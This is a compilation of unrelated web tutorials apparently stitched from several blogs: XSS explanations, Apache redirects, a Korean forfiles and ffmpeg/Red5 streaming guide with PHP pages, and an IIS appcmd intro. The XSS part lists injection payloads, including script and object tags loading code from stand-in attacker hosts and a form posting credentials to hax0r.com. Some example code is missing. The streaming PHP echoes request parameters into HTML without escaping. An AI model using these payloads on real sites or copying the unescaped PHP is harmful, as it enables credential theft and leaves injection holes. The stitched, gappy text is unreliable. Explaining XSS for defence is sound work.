Cross-Site Scripting

Cross-site scripting ('XSS' or 'CSS') is an attack that takes advantage of a Web site vulnerability in which the site displays content that includes un-sanitized user-provided data. For example, an attacker might place a hyperlink with an embedded malicious script into an online discussion forum. That purpose of the malicious script is to attack other forum users who happen to select the hyperlink. For example it could copy user cookies and then send those cookies to the attacker.

Details

Web sites today are more complex than ever and often contain dynamic content to enhance the user experience. Dynamic content is achieved through the use of Web applications that can deliver content to a user according to their settings and needs.

While performing different user customizations and tasks, many sites take input parameters from a user and display them back to the user, usually as a response to the same page request. Examples of such behavior include the following.

• Search engines which present the search term in the title ("Search Results for: search_term")
• Error messages which contain the erroneous parameter
• Personalized responses ("Hello, username")

Cross-site scripting attacks occur when an attacker takes advantage of such applications and creates a request with malicious data (such as a script) that is later presented to the user requesting it. The malicious content is usually embedded into a hyperlink, positioned so that the user will come across it in a web site, a Web message board, an email, or an instant message. If the user then follows the link, the malicious data is sent to the Web application, which in turn creates an output page for the user, containing the malicious content. The user, however, is normally unaware of the attack, and assumes the data originates from the Web server itself, leading the user to believe this is valid content from the Web site.

For example, consider a Web application that requires users to log in to visit an authorized area. When users wish to view the authorized area, they provide their username and password, which is then checked against a user database table. Now, assume that this login system contains two pages: Login.asp, which created a form for the users to enter their username and password; and the page CheckCredentials.asp, which checks if the supplied username/password are valid. If the username/password are invalid, CheckCredentials.asp uses (for example), a Response.Redirect to send the user back to Login.asp, including an error message string in the query string . The Response.Redirect call will be something like the following.

Response.Redirect("Login.asp?ErrorMessage=Invalid+username+or+password")

Then, in Login.asp, the error message query string value would be displayed as follows:

Using this technique, when users attempt to login with an invalid username or password, they are returned to Login.asp and a short message is displayed indicating that their username/password were invalid. By changing the ErrorMessage value, an attacker can embed malicious JavaScript code into the generated page, causing execution of the script on the computer of the user viewing the site. For example, assume that Login.asp is being called using the following URL.

http://www.somesite.com/Login.asp?ErrorMessage=

As in the code for Login.asp, the ErrorMessage query string value will be emitted, producing the following HTML page:

The attacker embedded HTML code into this page in such a way that when users browse this page, their supplied username and password are submitted to the following page.

http://www.hax0r.com/stealPassword.asp

An attacker can send a link to the contrived page via an email message or a link from some message board site, hoping that a user will click on the link and attempt to login. Of course, by attempting to login, the user will be submitting his username and password to the attacker's site.

Prevention

Cross-site scripting is one of the easiest attacks to detect, yet many Intrusion Prevention Systems fail to do so. The reason why cross-site scripting can be easily detected is that unlike most application level attacks, cross-site scripting can be detected using a signature. The simple text pattern

To accurately detect cross-site scripting attacks the product must know where and when to look for that signature. Most cross-site scripting attacks occur either with error pages or with parameter values. Therefore the product needs to look for cross-site scripting signatures either within parameter values or within requests that return error messages. To look for signatures in parameters values the product must parse the URL correctly and retrieve the value part and then search for the signature on the value while overcoming encoding issues. To look for signatures in pages that return error messages the product needs to know that the specific URL returned an error code. Intrusion Detection and Prevention Systems which are not Web application oriented simply do not implement these very advanced capabilities.

Cross Site Scripting Attack

What is Cross Site Scripting?

Hackers are constantly experimenting with a wide repertoire of hacking techniques to compromise websites and web applications and make off with a treasure trove of sensitive data including credit card numbers, social security numbers and even medical records.

Cross Site Scripting (also known as XSS or CSS) is generally believed to be one of the most common application layer hacking techniques.

In the pie-chart below, created by the Web Hacking Incident Database for 2011 (WHID) clearly shows that whilst many different attack methods exist, SQL injection and XSS are the most popular. To add to this, many other attack methods, such as Information Disclosures, Content Spoofing and Stolen Credentials could all be side-effects of an XSS attack.

In general, cross-site scripting refers to that hacking technique that leverages vulnerabilities in the code of a web application to allow an attacker to send malicious content from an end-user and collect some type of data from the victim.

Today, websites rely heavily on complex web applications to deliver different output or content to a wide variety of users according to set preferences and specific needs. This arms organizations with the ability to provide better value to their customers and prospects. However, dynamic websites suffer from serious vulnerabilities rendering organizations helpless and prone to cross site scripting attacks on their data.

"A web page contains both text and HTML markup that is generated by the server and interpreted by the client browser. Web sites that generate only static pages are able to have full control over how the browser interprets these pages. Web sites that generate dynamic pages do not have complete control over how their outputs are interpreted by the client. The heart of the issue is that if mistrusted content can be introduced into a dynamic page, neither the web site nor the client has enough information to recognize that this has happened and take protective actions." (CERT Coordination Center).

Cross Site Scripting allows an attacker to embed malicious JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable dynamic page to fool the user, executing the script on his machine in order to gather data. The use of XSS might compromise private information, manipulate or steal cookies, create requests that can be mistaken for those of a valid user, or execute malicious code on the end-user systems. The data is usually formatted as a hyperlink containing malicious content and which is distributed over any possible means on the internet.

As a hacking tool, the attacker can formulate and distribute a custom-crafted CSS URL just by using a browser to test the dynamic website response. The attacker also needs to know some HTML, JavaScript and a dynamic language, to produce a URL which is not too suspicious-looking, in order to attack a XSS vulnerable website.

Any web page which passes parameters to a database can be vulnerable to this hacking technique. Usually these are present in Login forms, Forgot Password forms, etc…

N.B. Often people refer to Cross Site Scripting as CSS or XSS, which is can be confused with Cascading Style Sheets (CSS).

The Theory of XSS

In a typical XSS attack the hacker infects a legitimate web page with his malicious client-side script. When a user visits this web page the script is downloaded to his browser and executed. There are many slight variations to this theme, however all XSS attacks follow this pattern, which is depicted in the diagram below.

As a web developer you are putting measures in place to secure the first step of the attack. You want to prevent the hacker from infecting your innocent web page with his malicious script. There are various ways to do that, and this article goes into some technical detail on the most important techniques that you must use to disable this sort of attack against your users.

XSS Attack Vectors

So how does a hacker infect your web page in the first place? You might think, that for an attacker to make changes to your web page he must first break the security of the web server and be able to upload and modify files on that server. Unfortunately for you an XSS attack is much easier than that.

Internet applications today are not static HTML pages. They are dynamic and filled with ever changing content. Modern web pages pull data from many different sources. This data is amalgamated with your own web page and can contain simple text, or images, and can also contain HTML tags such as <p> for paragraph, <img> for image and <script> for scripts. Many times the hacker will use the ‘comments’ feature of your web page to insert a comment that contains a script. Every user who views that comment will download the script which will execute on his browser, causing undesirable behaviour. Something as simple as a Facebook post on your wall can contain a malicious script, which if not filtered by the Facebook servers will be injected into your Wall and execute on the browser of every person who visits your Facebook profile.

By now you should be aware that any sort of data that can land on your web page from an external source has the potential of being infected with a malicious script, but in what form does the data come?

<SCRIPT>

The <SCRIPT> tag is the most popular way and sometimes easiest to detect. It can arrive to your page in the following forms:

External script:

<SCRIPT SRC=http://hacker-site.com/xss.js></SCRIPT>

Embedded script:

<SCRIPT> alert(“XSS”); </SCRIPT>

<BODY>

The <BODY> tag can contain an embedded script by using the ONLOAD event, as shown below:

<BODY ONLOAD=alert("XSS")>

The BACKGROUND attribute can be similarly exploited:

<BODY BACKGROUND="javascript:alert('XSS')">

<IMG>

Some browsers will execute a script when found in the <IMG> tag as shown here:

<IMG SRC="javascript:alert('XSS');">

There are some variations of this that work in some browsers:

<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">

<IFRAME>

The <IFRAME> tag allows you to import HTML into a page. This important HTML can contain a script.

<IFRAME SRC=”http://hacker-site.com/xss.html”>

<INPUT>

If the TYPE attribute of the <INPUT> tag is set to “IMAGE”, it can be manipulated to embed a script:

<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

<LINK>

The <LINK> tag, which is often used to link to external style sheets could contain a script:

<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

<TABLE>

The BACKGROUND attribute of the TABLE tag can be exploited to refer to a script instead of an image:

<TABLE BACKGROUND="javascript:alert('XSS')">

The same applies to the <TD> tag, used to separate cells inside a table:

<TD BACKGROUND="javascript:alert('XSS')">

<DIV>

The <DIV> tag, similar to the <TABLE> and <TD> tags can also specify a background and therefore embed a script:

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

The <DIV> STYLE attribute can also be manipulated in the following way:

<DIV STYLE="width: expression(alert('XSS'));">

<OBJECT>

The <OBJECT> tag can be used to pull in a script from an external site in the following way:

<OBJECT TYPE="text/x-scriptlet" DATA="http://hacker.com/xss.html">

<EMBED>

If the hacker places a malicious script inside a flash file, it can be injected in the following way:

<EMBED SRC="http://hacker.com/xss.swf" AllowScriptAccess="always">

Is your site vulnerable to Cross Site Scripting?

Our experience leads us to conclude that the cross-site scripting vulnerability is one of the most highly widespread flaw on the Internet and will occur anywhere a web application uses input from a user in the output it generates without validating it. Our own research shows that over a third of the organizations applying for our free audit service are vulnerable to Cross Site Scripting. And the trend is upward.

Example of a Cross Site Scripting Attack

As a simple example, imagine a search engine site which is open to an XSS attack. The query screen of the search engine is a simple single field form with a submit button. Whereas the results page, displays both the matched results and the text you are looking for.

Search Results for "XSS Vulnerability"

To be able to bookmark pages, search engines generally leave the entered variables in the URL address. In this case the URL would look like:

http://test.searchengine.com/search.php?q=XSS%20

Vulnerability

Next we try to send the following query to the search engine:

<script type="text/javascript"> alert ('This is an XSS Vulnerability')< /script>

By submitting the query to search.php, it is encoded and the resulting URL would be something like:

http://test.searchengine.com/search.php?q=%3Cscript%3

Ealert%28%91This%20is%20an%20XSS%20Vulnerability%92%2

9%3C%2Fscript%3E

Upon loading the results page, the test search engine would probably display no results for the search but it will display a JavaScript alert which was injected into the page by using the XSS vulnerability.

How to Check for Cross Site Scripting Vulnerabilities

To check for Cross site scripting vulnerabilities, use a Web Vulnerability Scanner. A Web Vulnerability Scanner crawls your entire website and automatically checks for Cross Site Scripting vulnerabilities. It will indicate which URLs/scripts are vulnerable to these attacks so that you can fix the vulnerability easily. Besides Cross site scripting vulnerabilities a web application scanner will also check for SQL injection & other web vulnerabilities.

Acunetix Web Vulnerability Scanner scans for SQL injection, Cross site scripting, Google hacking and many more vulnerabilities.

List of methods used to redirect a web site using Apache:

Web site forwarding and redirection methods:

1. One can forward a web page URL or home page using the following web page with the "Refresh" directive:

   <META HTTP-EQUIV="Refresh" Content="0; URL=http://www.company.com/dir1/">

   This commands the browser to refresh the page with the new specified URL. This forwards a single page only and not the entire domain. It can forward the default home page for the domain giving the appearance of forwarding the domain..

   or:

   <html> <head> <META HTTP-EQUIV="Refresh" Content="3; URL=http://www.company.com/dir1/"> </head> <body> This page will forward to http://www.company.com/dir1/ in three seconds. <p> Please update your links. </body> </html>

2. Use a CGI script to forward a home page: (mod_cgi)

   File: httpd.conf

   ScriptAlias / /var/www/cgi-bin/redirect-script/

   File: /var/www/cgi-bin/redirect-script

   #!/usr/bin/perl print "Status: 301 Moved\r\n" . "Location: http://www.new-domain.com/\r\n" . "\r\n";

   or:

   #!/usr/bin/perl -w use strict; use CGI qw/:standard/; print redirect('http://www.new-domain.com');

3. Use a PHP script to redirect:

   <?php header("Location: http://www.new-domain.com/"); ?>

4. Use a Javascript to redirect:

   <html> <head> <script language="Javascript" type="text/javascript"> <!-- Hide script //<![CDATA[ window.location.href="http://www.new-domain.com/" //]]> End script hiding --> </script> </head> </html>

5. Use Apache module (mod_rewrite)

   File: httpd.conf

   RewriteEngine On RewriteRule /.* http://www.new-domain.com/ [R]

   Forwards all references in entire domain.

6. Use Apache module (mod_alias )

   File: httpd.conf

   • Redirect Domain:

     Redirect / http://www.new-domain.com/

     or

     Redirect permanent / http://www.new-domain.com/

   • Redirect Page:

     Redirect /web-page.html http://www.new-domain.com/destination-web-page.html

   Note:

   • Redirect directives take precedence over Alias and ScriptAlias directives.
   • Other "Redirect" options include: temp (error 302) default - temporary redirect status, seeother (error 303) resource has been replaced and gone (error 410) resource has been permanently removed.

   Example httpd.conf with virtual hosts for multiple domains which all redirect:

   <VirtualHost XXX.XXX.XXX.XXX> ServerName directtolinux.com ServerAlias www.directtolinux.com ServerAlias direct-to-linux.com ServerAlias www.direct-to-linux.com ServerAlias digitalpenguins.com ServerAlias www.digitalpenguins.com Redirect permanent / http://www.yolinux.com/ </VirtualHost>

7. Apache 301 redirect using the .htaccess file:

   If one wants to permanently forward an entire web site to a new URL or forward a single page permanently and have the search engines update their database, one should use a 301 redirect. This may redirect to a new server or to itself but to a different domain. This tutorial shows how. This method is a variation of using the mod_alias redirection shown above except that it allows the customer to redirect themselves by providing a .htaccess file themselves.

   RewriteEngine on RewriteCond %{HTTP_HOST} ^yolinux.com RewriteRule ^(.*)$ http://www.yolinux.com/$1 [R=permanent,L]

   This example forwards http://yolinux.com to http://www.yolinux.com/ to unify your site to a single URL. This can also simplify your web logs if they can not distinguish between the two

원도우에서

유닉스의 find mtime 같은 명령을

실행 시키고 싶을 때

배치 스트립트로 가능하지만

ms에서 제공하는 forfiles 이라는 명령어를 사용 하면 된다.

그러나.. xp에서는 기본 제공 하지 않아...

ftp://ftp.microsoft.com/Reskit/y2kfix/x86/

요기 가서 다운을 받자~

(2003서버에서는 기본 제공함)

forfiles /p "C:\특정디렉토리" /M "*.*" /D -10 /C "CMD /C del @FILE"

/p : 디렉토리 지정

/m : 파일 지정

/d : 날짜 지정

예1) 웹로직 디렉토리의 access 로그를 현재부터 3일 이전은 삭제한다.

forfiles /p "C:\weblogic\\logs" /M "access.*" /D -3 /C "CMD /C del C:\weblogic\\logs\@file"

예2)MS에서

------------------사용방법---------------

K:\>forfiles
FORFILES v 1.1 - emmanubo@microsoft.com - 4/98

Syntax : FORFILES [-pPath] [-mSearch Mask] [-ccommand] [-d<+|-><DDMMYYYY|DD>] [-
s]

-pPath Path where to start searching
-mSearch Mask Search files according to <Search Mask>
-cCommand Command to execute on each file(s)
-d<+|-><DDMMYYYY|DD> Select files with date >= or <=DDMMYYYY (UTC)
or files having date >= or <= (current date - DD days)
-s Recurse directories
-v Verbose mode

The following variables can be used in Command :
@FILE, @FNAME_WITHOUT_EXT, @EXT, @PATH, @RELPATH, @ISDIR, @FSIZE, @FDATE,
@FTIME

To include special hexa characters in the command line : use 0xHH

Default : <Directory : .> <Search Mask : *.*> <Command : "CMD /C Echo @FILE">
Examples :
FORFILES -pc:\ -s -m*.BAT -c"CMD /C Echo @FILE is a batch file"
FORFILES -pc:\ -s -m*.* -c"CMD /C if @ISDIR==TRUE echo @FILE is a directory"
FORFILES -pc:\ -s -m*.* -d-100 -c"CMD /C Echo @FILE : date >= 100 days"
FORFILES -pc:\ -s -m*.* -d-01011993 -c"CMD /C Echo @FILE is quite old!"
FORFILES -pc:\ -s -m*.* -c"CMD /c echo extension of @FILE is 0x22@EXT0x22"

1. 설치 환경 준비 하기

우선 RHEL5 환경에서 encoding 서비스를 위해 필요한 패키지를 설치할 수 있도록 YUM 환경을 구성한다.

yum package install - RHEL5 에서 Centos5 Yum 저장소 이용하기

# yum -y install yum-priorities
# rpm -Uvh http://apt.sw.be/redhat/el5/en/x86_64/rpmforge/RPMS/rpmforge-release-0.3.6-1.el5.rf.x86_64.rpm

http://apt.sw.be/redhat/el5/en/i386/rpmforge/RPMS/rpmforge-release-0.5.1-1.el5.rf.i386.rpm

# vi /etc/yum.repos.d/centos.repo

아래 부분에서 5.2를 5.5 로 변경

x86_64 ---> i386으로 변경

----------------------------------------------------

[base-be]
name=CentOS-5 - Base
#repo=os
baseurl=http://mirror.centos.org/centos/5.2/os/x86_64/

enabled=1
gpgcheck=1

-------------------------------------------------------------

# yum -y install yum-priorities
# yum -y install yum
# yum -y install yum-utils

2. FFMPEG로 인코딩 환경 구축하기 

- 기본 프로그램 설치

# yum install ruby
# yum install ncurses-devel*
# yum install lame
# yum install libogg
# yum install libvorbis
# yum install flvtool2
# yum install ffmpeg

- 코덱 설치

# wget http://www3.mplayerhq.hu/MPlayer/releases/codecs/essential-20061022.tar.bz2
# bunzip2 essential-20061022.tar.bz2
# tar xvf essential-20061022.tar
# mkdir /usr/local/lib/codecs/
# mv essential-20061022/* /usr/local/lib/codecs/
# chmod -R 755 /usr/local/lib/codecs/

# vi /etc/ld.so.conf
# ldconfig

3. ffmpeg 기본 사용법

AVI -> FLV

# ffmpeg -i onestar.avi -ar 22050 -ab 32 -f flv -s 640x480 onestar.flv | flvtool2 -U stdin onestar.flv

-i             : input file name
-ar          : audio sampling rate in HZ
-ab          : audio bit rate in kbit/s
-f             : output format
-s             : output dimension

FLV -> JPG

# ffmpeg -i test.flv -an -r 1 -y -s 640x480 test%d.jpg

-i             : input file name
-an         : disable audio
-r            : fps
-y           : overwrite file
-s            : output dimension

Particular frame to JPG

# ffmpeg -i test.flv -an -ss 00:00:10 -t 00:00:01 -r 1 -y -s 640x480 test%d.jpg

-ss          : recored start time
-t            : record end time last for

- ffmpeg 실무 사용법

ffmpeg를 이용하여 avi 파일을 flv로 변환 한다.

# ffmpeg -i onestar.avi -b 512k -ar 22050 -ab 128k -r 24 -s 400x300 onestar.flv
 
or

# ffmpeg -i "onestar.avi" -vcodec flv -f flv -r 29.97 -s 400x300 -aspect 4:3 -b 320k -g 160 -cmp 2 -subcmp 2 -mbd 2 -flags +aic+cbp+mv0+mv4+trell -ac 1 -ar 22050 -ab 128k "onestar.flv"

- FLV에 메타데이터 넣기 (스트리밍 보기-중간 구간 바로 보기)

# flvtool2 -U onstar.flv

- 동영상 썸네일 만들기

# ffmpeg -y -i onestar.avi -vframes 1 -ss 00:00:02 -an -vcodec png -f rawvideo -s 400x300 onestar.png

# ffmpeg  -itsoffset -4  -i test.avi -vcodec mjpeg -vframes 1 -an -f rawvideo -s 320x240 test.jpg

4. mencoder를 이용한 동영상에 자막 넣기

동영상을 flv 로 변환할때 자막을 같이 넣을 경우 기존의 ffmpeg로는 자막 포함 기능이
제공되지 않는다. 자막을 포함하여 인코딩을 할 수 있는 프로그램으로 mencoder이 있다.
설치는 yum으로 쉽게 가능하다.

# yum install mencoder

설치 후 자막의 언어 설정을 아래와 같이 한다.

$ vi ~/.mplayer/mencoder.conf
-------------------------------------------------------------------------

font="/usr/share/fonts/korean/TrueType/gulim.ttf"
subfont-text-scale=3
subcp=cp949

-------------------------------------------------------------------------

이제 mencoder로 자막을 포함해서 인코딩을 한다.

$ mencoder -noodml [avi파일]  -o [flv파일]  -sub $1.smi -of lavf -oac mp3lame -lameopts abr:br=128 -ovc lavc -lavcopts vcodec=flv:vbitrate=512:mbd=2:mv0:trell:v4mv:cbp:last_pred=3 -srate 44100 -lavfopts i_certify_that_my_video_stream_does_not_use_b_frames -vf-add scale=400:300

5. Web Streaming 을 위한 Player 연동하기

- 웹 FLV_Player 연동하기

웹에서 FLV 파일을 스트리밍으로 볼수 있는 Player는 여러가지가 있다.

* UCCUP에서 제공하는 Player - http://www.uccup.kr
* http://flowplayer.org/download.html
* GRZ_JWMediaPlayer

- UCCUP Player 연동하기

아래 구문중 flv 파일명과 png 파일명을 수정 후 HTML 문서에 붙여 넣는다.
flv,png 파일은 [UCCUP설치경로]/SERVICE 디렉토리 밑에 복사해 둔다.

- GRZ_JWMediaPlayer 연동하기

아래는 textcube의 플러그인으로 연동된 GRZ_JWMediaPlayer를 이용하는 방법이다.

7. FFmpeg 와 Flv Player를 이용한 Web Streaming 서비스 환경 구축 하기

지금까지 설명한 기술 내용으로 일반 동영상 파일을 웹 환경에서 스트리밍이 가능한 flv 파일로 변환하고, 이용 가능한 Flv player를 통해 기본적인 스트리밍 환경을 구성할 수 있다.

아래는 실제 환경에 적용 가능한 수준의 스트리밍 환경을 구성해 보자

우선 스트리밍 서비스 대상 동영상을 웹 서비스가 가능한 특정 경로 밑의  SERVICE 란 디렉토리에 복사한다.

# cp *.avi [PATH]/SERVICE
# cd [PATH]/SERVICE

여기서 [PATH] 는 웹서버의 Document Root 아래에 해당하는 상대 경로이다.

해당 디렉토리 밑에 있는 avi 파일을 ffmpeg_encoder.sh 스크립트를 이용하여 flv 파일 형태로 모두 변환한다. (자동화 스크립트는 각자 개발 ..)

# ls -1 | grep flv$ > list.txt

uccup player 관련 파일을 [PATH] 에 복사해 둔다. -> 별도 요청

uccup 의 config 파일의 설정을 수정한다.

# vi config.php

// 실제 서비스 폴더
$SERVICE_DIR = $_SERVER[DOCUMENT_ROOT] . '[PATH]/SERVICE/';

.
.

이제 간단한 스트리밍 동영상 목록 페이지와 Player 뷰어 페이지를 개발해야 한다. 아래는 직접 개발한 간단한 소스이다. 참고 바람..

- 스트리밍 동영상 목록 페이지

# vi index.php

<?
include "./config.inc";

$root = "./SERVICE";
$fp = fopen("${root}/list.txt","r");
$fsize = filesize("${root}/list.txt");

if (!$fp) {
        echo ("list.txt  .");
        exit;
        }

while (!feof($fp)) {
        $str = fgets($fp,$fsize);
        $str = trim($str);
        $str = ereg_replace(".flv","",trim($str));
        $arr[] = $str;
        }

$M_num = sizeof($arr) - 1;
$MovieName = "<font size=3><b>\"$M_Name\" 에 해당하는 동영상/[$M_num]편 </b></font>";

?>

<html>

<head>
<link rel="stylesheet" href="main.css" type="text/css">

</head>

<body bgcolor=#DDE5D9>
<table width=650 cellspacing=5 cellpadding=0 border=0 bgcolor=#EFEFEF>
<tr>
<td height=50 align=left vaglign=middle bgcolor=white>&nbsp;
<? echo $MovieName; ?>
</td>
</tr>

<tr>
<td bgcolor=white align=center>

<table width=500 cellspacing=7 cellpadding=3 border=0>
<tr bgcolor=#DEDEDE align=center>
<?

if (!$fp) {
        echo ("list.txt 파일이 없습니다.");
        exit;
        }

while (!feof($fp)) {
        $str = fgets($fp,$fsize);
        $str = trim($str);
        $str = ereg_replace(".flv","",trim($str));
        $arr[] = $str;
        }

for ($i = 0; $i < sizeof($arr) -1 ; $i++) {

$A = ${i} % 5 ;
$B = ${i} + 1 ;
if (  $A  == 0 ) {

        echo ("</tr><tr bgcolor=#DEDEDE align=center><td>
        <table cellpadding=2 cellspacing=2 width=100% border=0>
        <tr><td align=center bgcolor=white><a href=view.php?filename=$arr[$i]&moviename=$B>
        <img src=$root/$arr[$i].jpg width=100 height=70 alt=$arr[$i] border=0></a>
        </td></tr>
        <tr><td align=center bgcolor=white>$M_Name $B</td></tr>
        </table>
        </td>");

} else {

        echo ("<td>
        <table cellpadding=2 cellspacing=2 width=100% border=0>
        <tr><td align=center bgcolor=white><a href=view.php?filename=$arr[$i]&moviename=$B>
        <img src=$root/$arr[$i].jpg width=100 height=70 alt=$arr[$i] border=0></a>
        </td></tr>
        <tr><td align=center bgcolor=white>$M_Name $B</td></tr>
        </table>
        </td>");

}

}

?>

</td></tr></table>

- 동영상 Player 뷰어 페이지

# vi view.php

<?
include "./config.inc";
$root = "./SERVICE";
$fp = fopen("${root}/list.txt","r");
$fsize = filesize("${root}/list.txt");
$MovieName = "<font size=3><b>\"$M_Name\" [$moviename]편에 해당하는 동영상</b></font>";
?>

</td></tr>
<tr><td>
<table width=100% cellpadding=0 cellspacing=0 border=0><tr>

<?

if (!$fp) {
        echo ("list.txt 파일이 없습니다.");
        exit;
        }

while (!feof($fp)) {
        $str = fgets($fp,$fsize);
        $str = trim($str);
        $str = ereg_replace(".flv","",trim($str));
        $arr[] = $str;
        }

if ( sizeof($arr) > ( $moviename + 5) ) {

for ($i = $moviename; $i < $moviename + 5 ; $i++) {
$B = $i + 1;

        echo ("<td>
        <table cellpadding=2 cellspacing=2 width=100% border=0>
        <tr><td align=center bgcolor=white><a href=view.php?filename=$arr[$i]&moviename=$B>

        </td></tr>
        <tr><td align=center bgcolor=white>$M_Name $B</td></tr>
        </table></td>");
        }

} else {

$A = sizeof($arr) - $moviename - 1;
for ($i = $moviename; $i < $moviename + $A ; $i++) {
$B = $i + 1;

        echo ("<td>
        <table cellpadding=2 cellspacing=2 width=100% border=0>
        <tr><td align=center bgcolor=white><a href=view.php?filename=$arr[$i]&moviename=$B>

        </td></tr>
        <tr><td align=center bgcolor=white>$M_Name $B</td></tr>
        </table></td>");
        }
}

?>

</tr>

</table>

- 환경 설정 파일

# vi config.inc

<?

$M_Name = "동영상서비스이름";
$top = "[PATH]";

?>

이제 http://domain/[PATH] 로 접속해서  확인한다.

그럼.. [PATH]/SERVICE 디렉토리안에 있는 모든 flv 파일이 리스트화 된 화면이 나타날것이다.

- RED5 컴파일 및 데몬 시작하기

http://osflash.org/red5 에서 final 바이너리 패키지를 받은 경우 별도의 컴파일
없이 바로 실행이 가능하다.

# cd /usr/local/red5
# sh red5.sh

svn를 통해 코드를 받은 경우 아래와 같이 컴파일을 해줘야 한다.

# cd /usr/local
# svn co http://red5.googlecode.com/svn/java/server/trunk red5src
# cd red5

방법1 :

# cd /usr/local/red5src

# ant server &
# /usr/local/ant/bin/ant
# cp -a /usr/local/red5src/dist /usr/local/red5
# cd /usr/local/red5
# ./red5.sh &

방법2 :

# cd /usr/local/red5src
# make
# make install

# cd /usr/lib/red5
# ./red5.sh &

방법 3 :

# cd /usr/local/red5src
# ant prepare
# ant build

Target "build" does not exist in the project "RED5". 라는 에러가 발생했을 경우

# ant
or
# ant -f build.xml
# cp -a dist /usr/local/red5
# cd /usr/local/red5
# sh red5.sh &

;; 3번 권장함

최신버전으로 컴파일 시 간혹 아래와 같은 에러가 발생하는 경우가 있다.
------------------------------------------------------------------------

위 문제는 ivy 라는 패키지 관리 도구에서 red5 컴파일 시 필요한 패키지를 사전에 정의된패키지 저장소에서 자동으로 다운로드 받게 되는데, 필요한 패키지를 찾을 수 없을때 발생한다.
ivy.xml 와 ivysettings.xml 파일에 다운로드 경로 정보가 있는데, 이것이 변동된 경우 발생하니 ivysettings.xml 에서 http://red5.googlecode.com/svn/trunk/repository/ 부분을http://red5.googlecode.com/svn/repository 로 수정하거나 최신 해당 파일을 다운로드 받으면 된다.

- SOLO 기능 이용하기

solo 는 laszlo에서 개발된 내용을 HTML과 swf 형태로 변경해 주는 관리 기능이다.
실제 laszlo로 미디어 관련 어플리케이션을 개발한 후 최종적으로는 solo를 이용하여
웹 컨텐츠 형태로 변형 시켜 사용한다.

solo 버턴을 클릭하면 해당 컨텐츠가 zip 파일로 압축된다.
압축 파일 위치는 /usr/local/lps/Server/lps-4.2.x/lps/admin 이다.

웹서버의 적당한 디렉토리 및에 해당 파일을 풀고 사용하면 된다.

- 동영상 저장소 분리하기

기본적으로 하나의 저장소에 동영상을 모두 저장해야 하는데, 이 경우 동영상의 수가
너무 많아 지면, 동영상 목록을 불려 올때 일정 시간 이후에 로딩되는 목록의 경우
익식을 못하는 문제가 발생한다.

또한 성격이 다른 동영상을 분리하여 저장할 필요가 있는데, 하나의 저장소를 통해
관리하기엔 한계가 있다.

저장소를 분리하여 관리하는 방법에 대해 알아보자.
본 방법이 정식적인 방법은 아니라고 본다. 그냥 될거 같아 해 보았는데 되더라.

일단 red5 의 동영상 서비스 위치인 /usr/local/red5/webapps/oflaDemo 을 다른이름
으로 복사한다.

# cd /usr/local/red5/webapps
# mkdir oflaDemo2007
# cp -a oflaDemo/WEB-INF/ oflaDemo2007/
# cd oflaDemo2007/WEB-INF

# vi red5-web.properties
---------------------------------------------------------------
webapp.contextPath=/oflaDemo2007
---------------------------------------------------------------

# vi web.xml
---------------------------------------------------------------
        <context-param>
                <param-name>webAppRootKey</param-name>
                <param-value>/oflaDemo2007</param-value>
---------------------------------------------------------------

# cd ..
# mkdir streams

이제 /usr/local/red5/webapps/oflaDemo2007/streams 밑에 해당 동영상을 복사한다.

그런 다음 lps 의 videolibrary 소스 저장소를 분리한다.

# cd /usr/local/lps/Server/lps-4.7.2/demos
# cp -a videolibrary videolibrary2007
# cd videolibrary2007/
# vi videolibrary.jsp
----------------------------------------------------------------

    public String libraryDirectory =
        //"/usr/local/src/red5/webapps/test/instance1/streams/";
        "/usr/local/red5/webapps/oflaDemo2007/streams/";

    public String libraryUrl =
        "rtmp://syszone.co.kr/oflaDemo2007/";
----------------------------------------------------------------

# vi videolibrary.lzx
----------------------------------------------------------------
    <dataset name="ds_library"
        src="http://syszone.co.kr:8080/lps-4.7.2/demos/videolibrary2007/videolibrary.jsp?method=getLibrary"
        request="true"
    />

    <rtmpconnection id="rtc"
        autoconnect="true"
        debug="true"
        src="rtmp://syszone.co.kr/oflaDemo2007/"
    />

# cd /usr/local/lps/Server/tomcat-5.0.24/bin/
# ./shutdown.sh
# /etc/rc.d/init.d/red5 stop
# /etc/rc.d/init.d/red5 start
# ./startup.sh

이제 웹 브라우저에서 확인을 한다.

http://domain:8080/lps-4.7.2/demos/videolibrary2007/videolibrary.lzx

본 문서의 데모는 blog.syszone.co.kr 의 동영상앨범과 LINKS 메뉴에서 실제 스트리밍
서비스를 확인해 보면 된다.

이번 포스팅에서는 IIS 7 에서 제공되는 새로운 커맨드라인(Command-line) 관리도구 Appcmd.exe 도구를 소개 드립니다. Appcmd.exe 도구를 사용하면 GUI 환경의 인터넷 정보 서비스 관리자를 사용하지 않고 쉽고 빠르게 서버를 제어할 수 있는 기능을 제공합니다. Appcmd.exe 를 통해서 대표적으로 아래 기능들을 수행할 수 있습니다.

* 웹 사이트, 응용 프로그램 풀, 가상 디렉터리의 생성, 삭제, 변경, 설정
* 웹 사이트, 응용 프로그램 풀의 시작, 중지, 재생
* 실행 중인 worker process, 요청에 대한 정보 보기
* IIS, ASP.NET 설정에 대한 가져오기, 내보내기, 변경

Appcmd.exe 도구는 %systemroot%\system32\inetsrv 경로에 있으며 명령을 실행하는 방법은 아래와 같습니다.
사용방법) APPCMD (command) (object-type) <identifier> < /parameter1:value1 ... > 

APPCMD 도구를 사용할 때 지원하는 명령, 개체 유형은 아래와 같습니다.

1. 명령(Command)
add, clear, configure, delete, inspect, install, list, lock, migrate, recycle, reset, restore, search, set, start, stop, uninstall, unlock

2. 개체 유형(object-type)
site, app, vdir, apppool, config, wp, request, module, backup, trace


실제 운영 서버에 사용해 볼만한 몇 가지 명령들을 예제로 정리하였습니다.

1. APPCMD list 명령을 통해 사이트, 응용 프로그램 풀, Worker Processes, 가상 디렉터리 정보 조회
가. Appcmd list site
나. Appcmd list app
다. Appcmd list wp
라. Appcmd list vdir

2. List 명령과 /text:* 파라미터를 추가하여 "xe" 웹 웹사이트에 대한 자세한 정보 얻기
가. Appcmd list app "xe/" /text:*

3. 설치된 모듈 확인
가. Appcmd list module

4. 현재 실행 중인 요청 확인
가. Appcmd list request /site.name:"WEB1"

C:\Windows\System32\inetsrv>APPCMD list request /site.name:"WEB1"
